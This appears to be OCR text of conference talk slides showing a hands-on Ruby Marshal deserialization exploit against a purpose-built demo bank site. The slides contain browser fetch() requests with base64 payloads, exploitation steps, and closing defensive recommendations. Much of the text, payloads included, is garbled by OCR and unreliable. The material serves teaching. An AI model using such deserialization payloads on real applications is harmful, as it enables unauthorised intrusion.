"User-Agent”: "Mozilla/S.8 (Windows NT 18.8; Wingd; =64; rv:188.8) Gecko/281e2181 Firefox/184.8",
“accept™: "text/himl,application/xhiml+xml,application/xml;q=2.9,1image/avif, image/webp,*/*;0=0.8",
“accept-Language™: "en-Us,en;q=2.5",
"Content-Type™: "application/x-wew-form-urlencoded”,
“Upgrade-Insecure-Requests™: 1"
Is
“reterrer™: "hitp://marshalbank.meristeminfosec.com/register”,
"body": "confirmX5Buser®si=BAahvoglvc2vyEDoQQEs 1d 19y ZkivemRUChBAYXRBcml idXR]1c 286HKF jdel 2%80%8AZUIVvZEV SO pBdHRY Ef11dF[_’KQL0wd? @kiB21kBjoGRVRvD11BYZRpdmvi
%E""*.-E I: R1bDoEQXRECcmLidXRLOjpecmItRGFEYWINC 2UKOEpABMFEZUATOhSA ::I"lFs"*pE""-'.-E vl Y "|I:3'|1.'-:3R5|:C MHy2FzdDAGCkBaeXBlbz |:FQ'-.“\EE|.'-:"1 ' I::3'|k:l:3I |:'“"*.-E""1=E Ab25UZWNSaRIURNCHR 1O
ZWwdlcgkeDeBwomyjaxXNpb24awm0gtac 2NhbeUwogtAbG L TaXQwOgtAcmFUZ 2V eDaaA0E pSYWS N ZQEe WY 2xU0gp 1 ZWd pbamwrt C AAAEDOYQGE Iy akd pbmF sX2
“SE""%EH_'(‘EII::-."IIEI‘-“?._ /RvDIV E\3R|::I"| 1.I: Rll: EQKREEﬁ]l:I.‘(R]O pECmaty .'(‘ 1Xen%aAcgo7(2Al0wx ] IgkxMjM2B s IVDsNQADTF287 gk 7T E-—-C'C"'-.'-.x\'.:f'-.:lu 5.‘-: |J5\T%EJ1’1=E. ABQLSBEKIDmMZ 1bexfbmFtZ g

RoriEaa 'HlwZToBU3RyaWsnC JOKQHRY e 1IgZeB] SJ.Z:LQCZhb—-.].EE:E g7V IDZATEDATETATF2EZC E’k?[E.-f-.Ef";E3-1’*53.~'-.Cf.~\.'n'n0n'1.~'-.F_5.":.'-'|3-5V55:'.-.'R2'
%E:%E.u.'.'CE?CQu? E. .Ewa.-:J_gk.-:. |_.|EE_SJ.35\QE T-'F B37Cgk7CRAR0mwaln LAF T s XABDXBAMDSYSSTIMT I ZNAY 7OVR I IS j covhd Gk 2ZF8E J s IVEE 7L go7 CRAT Dl 1V EBDAEBA0KPBY 3 R pdmvS ZWhv cmE 0k
Xerdeadmvyc2lvbjoeveltZvpvbmvib 2527 X182XIBCToLX192M1 9 WwBbAGEE IUF JH80%8AdG 122V 1Y 29y ZD0EVH IWZ TORRGFEZ pr-...,_waElpa_ SQMDS RMDSXMDS YME kK 1%805eAD 3V ZGFeZWR Y XQG0w1Ub =

Xen WAEFEBhCINVY21hdelvb 13 JYWHoZXsADhFACHI pbWF yevar X 1aCDo0gH 1 1%8 YWRVbmSRjobQHBY ZXZpbavz b1 b3 X3 1Y 29y ZEYEDeBK ZXNSCma S IWRGHADE2ADhADWF ya 2Vk X 22w c 19k ZX
XerkaabaNpYXRpb2awOh S AX INSYXI2X IRy VWS ZYWHSaWI UK INSYER IMDoUgHNSCcml JRe0%aad Fas b2FkawsnREXaDAkIDRe0Faa&cont irmEc Boont irmation_codeXob=123&commit=5ubmit=Confirmation
"method™: "POST",
“"mode™: "cors”
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Hack Along — Exploit 3

* Replace the "confirm[user] parameter with your payload.

"body" :
"confirm%5Buser%5D=BAhvOglVc2VyED0QQG51d19yZWNvcmRUOhBAYXROcm1idXR1c286HkFjdG12%0D%OAZU1vZGVsOjpBdHRyalW]
1dGVTZXQGOwd7COkiB21kBjoGRVRVOilBY3RpdmVN%OD%OAb2R1bD06QXROCm1idXR10jpGcm9tRGFOYWIhc2UKOgpAbmFtZUAIOhxAd
mF s%0D%OAdWVFYmVmb3J1X3R5cGVFY2FzdDA6CkBOeXBlbzpFQWNOaXZ1UmVjb3Ik0jpD%OD%OAb25uZWNOaWOUQWRhcHR1cnM6O1NRT
G1OZTNBZGFwdGVyOjpTUUXxpdGUzSW50%0D%OAZWd]1 cgk6DOBwcmVjaXNpb24w0gtAc2NhbGUWOgtAbGLltaXQwOgtAcmFuzZ2Vv%0D%0A0
gpSYW5nZQg6CWV4Y2xU0gpiZWdpbmwtCQAAAAAAAACAOgh1bmRsKwkAAAAA%OD%OAAAAAEDOYQGIOyalWdpbmFsX2FOdHIpYnNVOZTA6COB
2YWx1ZTBIIhNhY2NvdW50%0D%0AX251bW]1cgY7CVRVOiVBY3RpdmVNb2R1bDo6QXROCcm1idXR10jpGecm9tVXN1%OD%OACg0o7 COAOOWX
JIgkxMjMOBjsIVDsNQA07F287Cgk7COAOOWWWOWIAC]SXMDsY%OD%OAaQLSBEkiDmZ1bGxFbmFtZQY7CVRVOXkKOWtAEjsMSSIWR2Vvc
md1IFdhc2hp%0D%0Abmdob24GOwlUOw1lvOh5BY3RpdmVNb2R1bDo6VHIWZTo6U3RyalW5nCjoKQHRY%OD%OAdWVIIgZOBjsIVDoLQGZhb
HN1SSIGZgY7CVQ7DzA7EDA7ETA7F287Cgk7COAS%OD%OAOWWWOWLIAFTSXMDSYSSIWR2VvemdlIFdhc2hpbmd@b24GOwlUSSIIUINOBTs
J%0D%OAVG87GQ0o7COAa0WXIIgkxMjMOBjsIVDsSNQBU7F287Cgk7COAaOWWWOWIAFTsX%OD%OAMDSYSSIIMTIzNAY7CVRIIg9jcmVhdGV
kX2F@OBjsJIVG87Cgo7COATOwWwwOw1V%0D%OA0kpBY3RpdmVSZWNvcmQ60kFOdHIpYnVOZU11dGhvZHM601RpbWVab251Q29u%0D%0AdmV
yc21vbjobVG1ltZVpvbmVDb252ZXJ0ZXIbCToLX192M19fWwBbAG86IUF j%0OD%OAdG12ZVI1Y29yZDo6VHIWZTo6RGFOZVRpbWUIOWIpC
ZsQMDsSRMDsXMDsYMEk 1%0D%OAD3VWZGFOZWRFYXQGOw1UbzsKCjsLQCY7DDA7DVU7HVsJOx5bAF sAQCU7FzA7%0D%OAGDA6FOBhc3NVY
21hdGlvb1l9jYWNoZXsAOhFAcHIpbWFyeV9rZX1ACDoOQHI1%0D%OAYWRVbmx5RjobQHBYZXZpb3VzbH1fbmV3X3J1Y29yZEY6DOBKZXN
0cm95ZWRG%OD%OAOhXAbWFya2VkX2Zvc19kZXNOcnVjdGlvbkY6HkBkZXNOcmI5ZWRFYNn1fYXNz%0OD%OAb2NpYXRpb24wOh5AX3NOYX]
OX3RyYW5zYWNOaWOuX3NOYXR1IMDoUQHNOcm1j%0D%0AdF9sb2FkaW5nRg%3D%3D%0D%0A&confirm%5Bconfirmation_code’%5D=123
&commit=Submit+Confirmation+Code", "method": "POST", "mode": "cors"});
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Hack Along — Exploit 4

* Press Enter.
* The HTTP 500 response is ok

» F await fetch("http://marshalbank.meristeminfosec. com/confirm™, {
‘'credentials™: "include”,
'headers™: {
"Wser-Agent™: "Mozilla/S.8 (Windows NT 18.8; wWined; xed4; rv:188.8) Gecko/28188181 Firefox/188.87,
‘Accept™: "text/himl,application/xhtmls+xml,application/xml;q=0.9,1image/avif,image /webp,*/*;0=0.8",_

m POST http://marshalbank.meristeminfosec.com/confirm [HTTP/1.1 Internal Server Error &84ms]
Response { type: "basic®, url: “hitip://marshalbank.meristeminfosec.com/confirm", redirected: false, status: 588, ok: false, statusText: "Internal Serwver Error”, headers: Headers, body: ReadableStream,

bodyused: false }

» | &N
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Hack Along — Exploit Confirmed

* Navigate to http://marshalbank.meristeminfosec.com/[your name]

* Observe that a blank page is returned instead of routes.

Marshal Bank & Trust o marshalbank.meristeminfosec.com > +

< C fn\_l O & narshalbank.meristeminfosec.com/mark
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http://marshalbank.meristeminfosec.com/[yourname

Recommendations

* Never let a user see you unmarshal

e Use a less powerful representation format
* Hash, JSON, YAML,

* Watch "Caching Without Marshal" by Chris Salzburg

* Describes the internals of the marshal protocol
* Describes their migration to MessagePack in detail
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Thank You

Heidi Hoopes Mark Hoopes
@heidihoopes mark@meristeminfosec.com

www.linkedin.com/in/heidihoopes www.linkedin.com/in/markhoopes



